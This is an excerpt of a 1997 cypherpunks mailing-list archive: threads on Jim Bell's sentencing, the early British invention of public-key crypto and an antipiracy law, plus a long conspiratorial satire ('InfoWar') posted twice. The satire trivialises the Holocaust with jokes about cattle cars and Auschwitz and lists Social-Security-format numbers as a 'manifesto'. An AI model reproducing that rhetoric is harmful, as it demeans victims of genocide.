posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.

--end

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 19 Dec 1997 04:30:56 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Fw: Jim Bell Sentenced (fwd)
In-Reply-To: <3.0.2.32.19971214022601.037fc8dc@pop.sirius.com>
Message-ID: <Pine.LNX.3.91.971215140552.12530D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> No, that's not correct. He was charged with (and plead guilty to)
> obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
> number (42 USC 408). 

Clearly crimes so henious and beyond forgiveness that he should be 
sentenced to serve a greater amount of time inside than convicted 
rapists, baby murderers and "heroic citizens" who shoot at cars matching 
a rough description given over fire-service radio.

> The "attack" he admitted to executing consisted of
> applying a stinky chemical to the doormat of an IRS office. (see

Surely this highly dangerous chemical warrior should be executed for his 
crimes?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 18 Dec 1997 02:46:55 +0800
To: cypherpunks@toad.com
Subject: Quote of the day
Message-ID: <3.0.5.32.19971217093429.007d4380@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



>Date: Sun, 14 Dec 1997 03:50:02 -0700
>
>"Freedom of the press has to be regulated, you see."
>
> - Lu Ping, diector of China's Hong Kong and Macao office, explaining
>   Bejing's plan to ban Hong Kong's press from advocating Taiwanese
>   independence.
>

------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 18 Dec 1997 01:29:28 +0800
To: John Young <jya@pipeline.com>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
Message-ID: <Pine.LNX.3.95.971217101817.423B-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 16 Dec 1997, John Young wrote:

> Peter Gutmann wrote:
> 
> >There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
> >claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.
> 
> We've converted the Ellis Postscript doc to HTML:
> 
>      http://jya.com/ellisdoc.htm

Can patents be revoked due to prior art arguments?

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 18 Dec 1997 02:50:44 +0800
To: Jim Burnes <jya@pipeline.com>
Subject: Re: UK spooks invent RSA, DH in 1973
In-Reply-To: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
Message-ID: <3.0.5.32.19971217104018.007dd380@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:18 AM 12/17/97 -0700, Jim Burnes wrote:
>On Tue, 16 Dec 1997, John Young wrote:
>
>> Peter Gutmann wrote:
>> 
>> >There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
>> >claims that UK spooks invented both RSA and DH in 1973 and 1974
respectively.
>> 
>> We've converted the Ellis Postscript doc to HTML:
>> 
>>      http://jya.com/ellisdoc.htm
>
>Can patents be revoked due to prior art arguments?
>
>Jim Burnes

Prior art in the public eye, yes.   Secret unpatented stuff can be patented
when
described in the open the first time.


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Thu, 18 Dec 1997 00:27:50 +0800
To: Mike Gurski <gurski@solipsys.com>
Subject: Re: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <Pine.GSO.3.95.971217111714.24715J-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 17 Dec 1997, Mike Gurski wrote:

> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?


Not me.  I ordered back in August, and haven't heard anything since..

> 
> 
> --
> Michael Gurski                            mailto:gurski@solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901
> 
> 


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Thu, 18 Dec 1997 04:09:13 +0800
To: Declan McCullagh <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.SUN.3.96.971217123112.22334P-100000@beast.brainlink.com>
Message-ID: <3.0.1.32.19971217115156.00e83da0@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>You have a CD player at home and use a walkwan when walking around, so you
>>tape your CD's so you can listen to them. Wham! Instant jail time.
>
>Yes, if you copy $1,000 worth of CDs within six months.
>
At rougly 15.00/CD, that is one CD every three days, more or less..not
utterly inconveivable, but a little difficult.

On the other hand, it's one or two pieces of software. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 18 Dec 1997 05:03:51 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: <Pine.GSO.3.95.971217120207.24688M-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Note that the law is medium-independent. That is, it just talks about
"copyrighted works." So if you copy a few videocassettes, a few CDs, a few
magazine articles, the Feds can still get you if the total value is over
$1,000. 

And yes, of course, it's just one or two pieces of software. In my article
I said three copies of Microsoft Office ($360 at local computer stores).

-Declan


On Wed, 17 Dec 1997, Lizard wrote:

> At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
> >At 12:37 -0500 12/17/97, Ray Arachelian wrote:
> >>You have a CD player at home and use a walkwan when walking around, so you
> >>tape your CD's so you can listen to them. Wham! Instant jail time.
> >
> >Yes, if you copy $1,000 worth of CDs within six months.
> >
> At rougly 15.00/CD, that is one CD every three days, more or less..not
> utterly inconveivable, but a little difficult.
> 
> On the other hand, it's one or two pieces of software. 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Thu, 18 Dec 1997 04:29:06 +0800
To: cypherpunks@toad.com
Subject: InfoWar  666 / (Part III of 'The True Story of the InterNet')
Message-ID: <34981688.6F61@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Pedagogue 666 
Pet A Dog 999
Nobody Calls From CyberPromo Just To Say Hello 


Pedagogue

6OVERNMENT, 6ATES & 6OMEZ


Bianca sat silently, trying to compose herself before facing the
children and bringing them up to date on the quickly changing
situation surrounding an educational process which had been, up
to now, mostly an exciting exercise in technological mystery and
intrigue.
Despite her inability to cover up the full depth of her current
despair, the point became moot when she entered the room to find
the girls all suppressing giggles, and the lone boy in the group
sitting with his arms folded across his chest and grinning madly.

Bianca turned her back for a moment, to suppress a genuine smile,
and then turned once again to face the children, feigning an unsuspecting
manner.

"Can anyone tell me who Attila the Hun was?"
Bianca asked, knowing that Human Gus-Peter might well wet his
pants resisting his urge to raise his hand in order to get the
opportunity to brag once again about one of his historic heroes.

All of the girls raised their hands, giggling all the more over
the Nephew's predicament.

"Yes?" Bianca nodded toward Totokyo Rose.

"Attila the Hun was the greatest MeatSpace Warrior who
ever lived." Rose shouted, leaping to her feet and mimicking
the ferocious grimace that the Nephew usually affected when speaking
reverently about his favorite historical hero.
Human Gus-Peter nodded thankfully to young Rose, who blushed at
the realization that she had instinctively acted as a compatriot
and co-conspirator to the secret admirer who loved to tease her
so mercilessly (and vice-versa).

Bianca thanked Rose as she sat down, and then began pacing back
and forth slowly in front of the children. She gave a discrete
wink to Rose as she strolled, alerting her that the next question
would give her an opportunity to redeem herself as the Nephew's
chief adversary among the young ladies who vied to torture him
relentlessly for the sins of his forefathers, who had held their
mothers in such low esteem in the fields of math and science.

"And who is Attila T. Hun?"
Bianca asked, referring to the boy's chief hero and mentor in
the arena of CypherSpace Killosophy.

The Nephew was bouncing up and down in his excitement, but he
managed to keep his arms tightly folded across his chest, guarding
the secret that he shared with the still giggling young girls.
He smiled at Totokyo Rose as she raised her hand once again.

"Yes, Rose." Bianca smiled.

"Attila T. Hun is a CypherPunk who was exposed as a wannabe
when Hallam-Baker revealed to the list that he was a sixteen year-old
kid with an overactive imagination." Rose beamed.

"Not! Not!!!" Human Gus-Peter leapt to his feet
to defend his idol, dropping his arms and revealing the message
that the youngsters had been busy stenciling on his T-shirt while
Bianca had been engaged in deciphering her latest email messages.

Bianca laughed as hard as the girls as the Nephew's impulsive
reaction to Rose's teasing led to the revelation of the message
newly emblazoned on his chest.

"I GAK'ed my uncle's Secret Keys, and all I
got was this lousy T-shirt."

Bianca chuckled inwardly, as she outwardly frowned and shook her
head sadly.
"I'm afraid I'm going to have to turn you over to the
Tickle Gestapo." she said, breaking into a laugh as the
Nephew's eyes grew wide in alarm and he bolted for the door with
a gaggle of giggling girls close on his heels.
She sighed with relief as the Battle Royal began in the snow outside,
knowing that she would now have a bit of time to prepare for what
she had to say to the children. As yet, however, she was not sure
just what to say.

Bianca went over the morning's events in her mind.
Of all the mornings to sleep in... Damn!

The children had already been deeply engrossed in various computer
exercises by the time she had shaken off the deep slumber of the
previous night. It was sleep she desperately needed, but it had
come at exactly the wrong time. She had woken up to find an urgent
email message that had apparently arrived just as she was drifting
off into never-never-land.

From: GOD <god@everything.all>
BCC: Dave Null <dnull@dev.null>
Subject: "Who knows what evil lurks in the heart
of the Void?"

Dear Melissa's Great-Great-Grandmother,
  "David Jansen's dead, it's up to me to carry on."

~ The Last Canadian Outlaw

  "he's gone, man. he's gone..."
~ Jerry T. Garcia

  "If you don't leave me alone, I'll find someone who
will."
~ T. Gosney Thorton

"For if those who are of the law are heirs, faith is made
void and the promise made of no effect."
~ Ultramontane 4:14


Sincerely,
   God
"Who gives life to the dead and calls those things which
do not exist as though they did."
~ Ultramontane 4:17


Bianca hadn't bothered to check the PGP signature on the message,
knowing that the Author was the only person besides George Burns
who could get away with forging messages from God without getting
struck by lightning.

The goDog had obviously gone to ground, with John Law's hounds
nipping closely at his heels. Apparently, he believed that the
Blind Faith Server at dev.null  had been compromised, as well.
When Bianca had logged on to pull the plug on it, however, all
signs that it had ever existed had already been purged from one
end of the InterNet to the other.
Bianca got a sinking feeling in the pit of her stomach, once again,
as she realized that this was possible to do only through the
Blind Faith Server itself, which meant that whoever had taken
down dev.null had accessed the heart of the Circle of Eunuchs
communications system, potentially putting everyone, including
the children, in jeopardy.
She rose angrily to her feet, angry at herself for having let
the Author allay her initial fears about exposing the children
to danger by allowing them to use the dev.null shadow email system.

"In for a penny, in for a pound." he had said,
nonchalantly. "Unless you are willing to put their bodies
and minds in the hand of The Destroyer right now, you'd best give
them the tools and knowledge to prevent it from happening later.

"Besides, we are more likely to need those little scamps
to pull our ass out of the fire than the other way around."
he had continued, with a wink.

Bianca was shaken out of her reverie by the entrance of the children,
who were laughing and shaking the snow out of their hair and clothes.
Except for the Nephew, who was holding his sides and grimacing
in pain.
"They have tic-killed me to death!" he said,
dramatically, falling limp to the floor.

Bianca motioned for the girls to gather around her on the floor,
and they sat quietly until Human Gus-Peter peeked up to see that
nobody was paying attention to him, whereupon he quietly joined
them. Bianca began...

"I have something very serious to discuss with you."
she began.
Although we have had a lot of fun up to now, playing hide-and-seek
with others and ourselves in CyberSpace, I have constantly reminded
you that we must perform all of our actions as if the consequences
could be deadly serious, for there would come a day in the future
when this would become true for the past."
"That day has finally arrived." Bianca said solemnly,
worried that the children didn't seem to understand the gravity
of what she was trying to tell them. She decided that a direct
approach would be the best.

"A number of members of the Magic Circle, including your
uncle," she nodded to Human Gus-Peter, "have
gone to ground like wounded foxes, holing up while waiting their
chance to make a break for higher ground."
"As well, I have received communications indicating that
the Shadow has sniffed out the Blind Faith Server, and..."
she paused to change her voice to reflect the seriousness
of the situation, "it appears that dev.null has been compromised."

At this grave pronouncement, the children began giggling, and
Totokyo Rose gave MustHang Sally a thinly veiled poke in the ribs.
Bianca gave herself an inward slap on the forehead, stepped forward
to hover menacingly over Sally, and asked sternly, "Is
there something you would like to tell me, Sally?"

"Nein, Herr Commandant! Nein, Nein!" was Sally's
reply.
The children broke into such a fit of sniggering and chortling
at this point, that Bianca abandoned them to the Invisible Tickle
Monster and headed to her computer to look for inevitable pointer
to the ClueServer that the young archfiends would have left behind
for her.
Though the children had developed an amazingly intricate labyrinth
of secret signs and messages by which they used to communicate
a remarkable array of information ranging from technical information
to mystical parables, they always gave their elders clues about
as subtle as a fireball in the sky, apparently being under the
impression that shortly beyond puberty lay senility.

Bianca typed '999' into her computer and hit the return key, whereupon
it turned out that the phrase had been aliased to a slow-running
batch file which echoed its internal commands onto the screen
as if lip-reading them with great difficulty:

cd \666
pwd \6overnment6ates6omez\Pedagogue
cd .\999
pwd
\Munition$Monger$Madman$\Petadog
cat goDog.niYang


Pet A Dog 999


"Johnny can't add...neither can his dad...Y2K is
coming, and it's going to be mad."
~ Little Orphan Annie, CypherKid Cult of One

"Follow the Money, honey."
~ SlutSally, CypherKid Cult of One

"I'm here from the IRS, and I'm here to ring your Bell."

~ Robyn Steele, CypherKid Cult of One

"Gun$ get you money$...
 Money$ get you gun$
 Billy runs window$, but window$ don't run."
~ Human Gus-Peter, Grand Pooh-Bah of the CypherUniverse of One


"The Citizen as a Decimal"
A Theorem by Martha MathMonster

Government = Power  Corporate = Money  Money = Power

Government + Corporate = Fascism  Statism = Standardization

(Government + Statism) = (Corporate + Standardization)

Unitary Theory of Fascist Statism: If Government and Corporate
interests become a Unity then Decimals become insignificant dots.
Therefore, under Fascism, the citizen is no longer a citizen-unit,
but a Decimal.

The Revelation of SaintMonger LanniTastic the Divine (In Bed)

13:16 "He causes all, both small and great, rich and poor,
free and slave, to receive a digitally implanted Persistent Identity
$$N in their right hand or on their foreheads."
13:17 "and that no one may buy or sell except one who has
a PI-$$N or traceable Bea$tCa$h, or a Digital Certificate authorized
by the Bea$t."
13:18 "Here is wisdom. Let him who has understanding calculate
the number of the Bea$t (keeping in mind that Micro$haft Money
has a Millennium Bug in it that gives a result that is different
from one returned by the more spiritually-correct Quickening $oftware),
for it is the number of a ManBoy: His number is GGG."

"Standardization is the Opiate of the Masses.
~ Saint Ishtar of Linux, CypherKid Prophetess of One

"That's not a dry-cleaning bag, Linus. It's your new security
blanket. If it saves the life of a single child..."
~ BadLucy, CypherKid Government Regulator of One

CypherKid Reminder To Senile Old Farts Wearing Their Ties
Too Tight And Cutting Off The Blood Blow To Their Brain:

The worse the Y2K problem is, the easier you can steal.
The worse the Y2K problem is, the harder it will be for the government
to steal.
The worse the Y2K problem is, the more intelligence and initiative
will evolve.
The worse the Y2K problem, the faster the dinosaurs die.
Ad infinituum...

And You're Trying To FIX The Problem?


CypherPunks Write Code!
CypherKids  Circulate Code!
InfoWarez!


Nobody
Calls From CyberPromo Just To Say Hello 

~  by grandson of gomez


"His Login is Mammon,
 His Password is Ca$h,
 When Time Changes Essence,
 His $oftware will Crash!"


"Except ye be as a little child..."
"Those who are not busy living, are busy dying..."

"If you're not part of the solution, you are part of the
problem..."
"We have met the cliché, and it is you..."

"Tin soldiers and Nixon coming..."
"Teach your children well..."

The Alaska Highway Was a Roman Road!

When 6omez is Fuhrer, the email will run on time!

Highways are for moving troops forth and goods back.

The Information Highway was designed to move digital government
troops forth and digital currency back!

Are YOU An Information Nazi?

The History of InfoNumbers 

Numbers were made for counting.
Counting was made for keeping track of...
InfoNumbers are made for accounting purposes.

FRESH FROM THE CLUESERVER!!!
Unencumbered knowledge is freedom to evolve.
Encumbered knowledge is captivity in statist prisons.
Numbers are not Knowledge. Numbers are Statistics.
Humans need knowledge. Machines need numbers.

"The Medium is the Message"

Quake is fractal. Quicken is linear. 
The eyes are the gateway to the soul. Biometrics captures your
soul.
InfoNumbers are Information. Information is not InfoNumbers.

Who Needs Traceable, Encumbered Information?
Information Nazis.
Information Census Takers.
Information Tax Collectors.
Information Gestapo.
Information Jailers.
Information Executioners.

Jews For Just-Us Protection Society:
Biometric Identification to protect only Jewish children.
Biometric Identification to protect only Jewish financial transactions.

"We're from the government and we're here to Biometrically
Identify you in order to help you."

[Disclaimer: Jews For Just-Us Protection Society is a fully licensed
charitable subsidiary of  the Yellow Star Biometrics Corporation,
a Division of Auschwitz Cattle-Car Manufacturing, Inc.]

Who controls the Shadow Government? The Shadow!

Anti-Christ
Anti-Chri$t
Anti-Chris$$t
Anti-Chri$$$t
Anti-Chri$$$,$$$,$$$,$$$t

Who knows what currency lurks in the bank accounts of
men? The Shadow knows!


Numbers are for counting.
Counting is for accounting.
Numbers can be held accountable.
Are you a number?

Passenger Manifesto / Cattle-Car #17 / Departing at 4:54 a.m.

054-38-2961
293-82-9764
429-67-8342
...

"Save a Jew. Encrypt a Number!"


Humans need information to survive. Governments need controlled
information to survive.
Humans need mobility to survive. Governments need statism to survive.

Humans need physical identity to survive. Governments need physical
identification to survive.
Humans need emotion to survive. Governments need obedience to
survive.
Humans need soul to survive. Governments need InfoNumbers to survive.

Humans need spirit to survive. Governments need control to survive.

InfoWarriors blow bridges out from under the troop trains on the
Information Highway.
InfoWarriors route around armed checkpoints on the Information
Highway.
InfoWarriors infiltrate enemy camps on the Information Highway.

InfoWarriors wreck or confiscate enemy munitions on the Information
Highway.
InfoWarriors generate their own numbers.

Church of PGP / Campfire Songs
"I don't care if it rains or freezes,
As long as I've got my CryptoJesus,
Sitting on the laptop on my desk.
  "Threatening PRES, but he can't floor me,
    As long as PRZ don't backdoor me,
    Giving out my cleartext to the Feds."

"I turned my children over to the government, and all I got
was this digital implant"

Humanity needs children, to survive. Fascism needs *your*
children, to survive.


"Teach your children well..."

~Crosby, Stills, Nash & Bianca


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Thu, 18 Dec 1997 04:34:29 +0800
To: cypherpunks@toad.com
Subject: InfoWar 666 / TEXT
Message-ID: <349816F2.6255@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Pedagogue 666
   * Pet A Dog 999
   * Nobody Calls From CyberPromo Just To Say Hello

----------------------------------------------------------------------------

                                  Pedagogue

                          6OVERNMENT, 6ATES & 6OMEZ
----------------------------------------------------------------------------

Bianca sat silently, trying to compose herself before facing the children
and bringing them up to date on the quickly changing situation surrounding
an educational process which had been, up to now, mostly an exciting
exercise in technological mystery and intrigue.
Despite her inability to cover up the full depth of her current despair, the
point became moot when she entered the room to find the girls all
suppressing giggles, and the lone boy in the group sitting with his arms
folded across his chest and grinning madly.

Bianca turned her back for a moment, to suppress a genuine smile, and then
turned once again to face the children, feigning an unsuspecting manner.

"Can anyone tell me who Attila the Hun was?" Bianca asked, knowing that
Human Gus-Peter might well wet his pants resisting his urge to raise his
hand in order to get the opportunity to brag once again about one of his
historic heroes.
All of the girls raised their hands, giggling all the more over the Nephew's
predicament.

"Yes?" Bianca nodded toward Totokyo Rose.

"Attila the Hun was the greatest MeatSpace Warrior who ever lived." Rose
shouted, leaping to her feet and mimicking the ferocious grimace that the
Nephew usually affected when speaking reverently about his favorite
historical hero.
Human Gus-Peter nodded thankfully to young Rose, who blushed at the
realization that she had instinctively acted as a compatriot and
co-conspirator to the secret admirer who loved to tease her so mercilessly
(and vice-versa).

Bianca thanked Rose as she sat down, and then began pacing back and forth
slowly in front of the children. She gave a discrete wink to Rose as she
strolled, alerting her that the next question would give her an opportunity
to redeem herself as the Nephew's chief adversary among the young ladies who
vied to torture him relentlessly for the sins of his forefathers, who had
held their mothers in such low esteem in the fields of math and science.

"And who is Attila T. Hun?" Bianca asked, referring to the boy's chief hero
and mentor in the arena of CypherSpace Killosophy.
The Nephew was bouncing up and down in his excitement, but he managed to
keep his arms tightly folded across his chest, guarding the secret that he
shared with the still giggling young girls. He smiled at Totokyo Rose as she
raised her hand once again.

"Yes, Rose." Bianca smiled.

"Attila T. Hun is a CypherPunk who was exposed as a wannabe when
Hallam-Baker revealed to the list that he was a sixteen year-old kid with an
overactive imagination." Rose beamed.

"Not! Not!!!" Human Gus-Peter leapt to his feet to defend his idol, dropping
his arms and revealing the message that the youngsters had been busy
stenciling on his T-shirt while Bianca had been engaged in deciphering her
latest email messages.
Bianca laughed as hard as the girls as the Nephew's impulsive reaction to
Rose's teasing led to the revelation of the message newly emblazoned on his
chest.

  "I GAK'ed my uncle's Secret Keys, and all I got was this lousy T-shirt."

Bianca chuckled inwardly, as she outwardly frowned and shook her head sadly.
"I'm afraid I'm going to have to turn you over to the Tickle Gestapo." she
said, breaking into a laugh as the Nephew's eyes grew wide in alarm and he
bolted for the door with a gaggle of giggling girls close on his heels.
She sighed with relief as the Battle Royal began in the snow outside,
knowing that she would now have a bit of time to prepare for what she had to
say to the children. As yet, however, she was not sure just what to say.

Bianca went over the morning's events in her mind.
Of all the mornings to sleep in... Damn!

The children had already been deeply engrossed in various computer exercises
by the time she had shaken off the deep slumber of the previous night. It
was sleep she desperately needed, but it had come at exactly the wrong time.
She had woken up to find an urgent email message that had apparently arrived
just as she was drifting off into never-never-land.

From: GOD <god@everything.all>
BCC: Dave Null <dnull@dev.null>
Subject: "Who knows what evil lurks in the heart of the Void?"

Dear Melissa's Great-Great-Grandmother,
"David Jansen's dead, it's up to me to carry on."
~ The Last Canadian Outlaw

"he's gone, man. he's gone..."
~ Jerry T. Garcia

"If you don't leave me alone, I'll find someone who will."
~ T. Gosney Thorton

"For if those who are of the law are heirs, faith is made void and the
promise made of no effect."
~ Ultramontane 4:14

Sincerely,
God
"Who gives life to the dead and calls those things which do not exist as
though they did."
~ Ultramontane 4:17

Bianca hadn't bothered to check the PGP signature on the message, knowing
that the Author was the only person besides George Burns who could get away
with forging messages from God without getting struck by lightning.

The goDog had obviously gone to ground, with John Law's hounds nipping
closely at his heels. Apparently, he believed that the Blind Faith Server at
dev.null had been compromised, as well. When Bianca had logged on to pull
the plug on it, however, all signs that it had ever existed had already been
purged from one end of the InterNet to the other.
Bianca got a sinking feeling in the pit of her stomach, once again, as she
realized that this was possible to do only through the Blind Faith Server
itself, which meant that whoever had taken down dev.null had accessed the
heart of the Circle of Eunuchs communications system, potentially putting
everyone, including the children, in jeopardy.
She rose angrily to her feet, angry at herself for having let the Author
allay her initial fears about exposing the children to danger by allowing
them to use the dev.null shadow email system.

"In for a penny, in for a pound." he had said, nonchalantly. "Unless you are
willing to put their bodies and minds in the hand of The Destroyer right
now, you'd best give them the tools and knowledge to prevent it from
happening later.
"Besides, we are more likely to need those little scamps to pull our ass out
of the fire than the other way around." he had continued, with a wink.

Bianca was shaken out of her reverie by the entrance of the children, who
were laughing and shaking the snow out of their hair and clothes. Except for
the Nephew, who was holding his sides and grimacing in pain.
"They have tic-killed me to death!" he said, dramatically, falling limp to
the floor.

Bianca motioned for the girls to gather around her on the floor, and they
sat quietly until Human Gus-Peter peeked up to see that nobody was paying
attention to him, whereupon he quietly joined them. Bianca began...

"I have something very serious to discuss with you." she began.
Although we have had a lot of fun up to now, playing hide-and-seek with
others and ourselves in CyberSpace, I have constantly reminded you that we
must perform all of our actions as if the consequences could be deadly
serious, for there would come a day in the future when this would become
true for the past."
"That day has finally arrived." Bianca said solemnly, worried that the
children didn't seem to understand the gravity of what she was trying to
tell them. She decided that a direct approach would be the best.

"A number of members of the Magic Circle, including your uncle," she nodded
to Human Gus-Peter, "have gone to ground like wounded foxes, holing up while
waiting their chance to make a break for higher ground."
"As well, I have received communications indicating that the Shadow has
sniffed out the Blind Faith Server, and..." she paused to change her voice to
reflect the seriousness of the situation, "it appears that dev.null has been
compromised."

At this grave pronouncement, the children began giggling, and Totokyo Rose
gave MustHang Sally a thinly veiled poke in the ribs. Bianca gave herself an
inward slap on the forehead, stepped forward to hover menacingly over Sally,
and asked sternly, "Is there something you would like to tell me, Sally?"

"Nein, Herr Commandant! Nein, Nein!" was Sally's reply.
The children broke into such a fit of sniggering and chortling at this
point, that Bianca abandoned them to the Invisible Tickle Monster and headed
to her computer to look for inevitable pointer to the ClueServer that the
young archfiends would have left behind for her.
Though the children had developed an amazingly intricate labyrinth of secret
signs and messages by which they used to communicate a remarkable array of
information ranging from technical information to mystical parables, they
always gave their elders clues about as subtle as a fireball in the sky,
apparently being under the impression that shortly beyond puberty lay
senility.

Bianca typed '999' into her computer and hit the return key, whereupon it
turned out that the phrase had been aliased to a slow-running batch file
which echoed its internal commands onto the screen as if lip-reading them
with great difficulty:

cd \666
pwd \6overnment6ates6omez\Pedagogue
cd .\999
pwd
\Munition$Monger$Madman$\Petadog
cat goDog.niYang
----------------------------------------------------------------------------

                                Pet A Dog 999
----------------------------------------------------------------------------

"Johnny can't add...neither can his dad...Y2K is coming, and it's going to be
mad."
~ Little Orphan Annie, CypherKid Cult of One

"Follow the Money, honey."
~ SlutSally, CypherKid Cult of One

"I'm here from the IRS, and I'm here to ring your Bell."
~ Robyn Steele, CypherKid Cult of One

"Gun$ get you money$...
Money$ get you gun$
Billy runs window$, but window$ don't run."
~ Human Gus-Peter, Grand Pooh-Bah of the CypherUniverse of One

                         "The Citizen as a Decimal"
                       A Theorem by Martha MathMonster

Government = Power Corporate = Money Money = Power

Government + Corporate = Fascism Statism = Standardization

(Government + Statism) = (Corporate + Standardization)

Unitary Theory of Fascist Statism: If Government and Corporate interests
become a Unity then Decimals become insignificant dots. Therefore, under
Fascism, the citizen is no longer a citizen-unit, but a Decimal.

The Revelation of SaintMonger LanniTastic the Divine (In Bed)

13:16 "He causes all, both small and great, rich and poor, free and slave,
to receive a digitally implanted Persistent Identity $$N in their right hand
or on their foreheads."
13:17 "and that no one may buy or sell except one who has a PI-$$N or
traceable Bea$tCa$h, or a Digital Certificate authorized by the Bea$t."
13:18 "Here is wisdom. Let him who has understanding calculate the number of
the Bea$t (keeping in mind that Micro$haft Money has a Millennium Bug in it
that gives a result that is different from one returned by the more
spiritually-correct Quickening $oftware), for it is the number of a ManBoy:
His number is GGG."

"Standardization is the Opiate of the Masses.
~ Saint Ishtar of Linux, CypherKid Prophetess of One

"That's not a dry-cleaning bag, Linus. It's your new security blanket. If it
saves the life of a single child..."
~ BadLucy, CypherKid Government Regulator of One

   CypherKid Reminder To Senile Old Farts Wearing Their Ties Too Tight And
                 Cutting Off The Blood Blow To Their Brain:

The worse the Y2K problem is, the easier you can steal.
The worse the Y2K problem is, the harder it will be for the government to
steal.
The worse the Y2K problem is, the more intelligence and initiative will
evolve.
The worse the Y2K problem, the faster the dinosaurs die.
Ad infinituum...

                    And You're Trying To FIX The Problem?

                           CypherPunks Write Code!
                         CypherKids Circulate Code!
                                 InfoWarez!
----------------------------------------------------------------------------

               Nobody Calls From CyberPromo Just To Say Hello

                           ~ by grandson of gomez

                            "His Login is Mammon,
                            His Password is Ca$h,
                         When Time Changes Essence,
                          His $oftware will Crash!"

"Except ye be as a little child..."
"Those who are not busy living, are busy dying..."
"If you're not part of the solution, you are part of the problem..."
"We have met the cliché, and it is you..."
"Tin soldiers and Nixon coming..."
"Teach your children well..."

The Alaska Highway Was a Roman Road!

When 6omez is Fuhrer, the email will run on time!

Highways are for moving troops forth and goods back.

The Information Highway was designed to move digital government troops forth
and digital currency back!

                        Are YOU An Information Nazi?

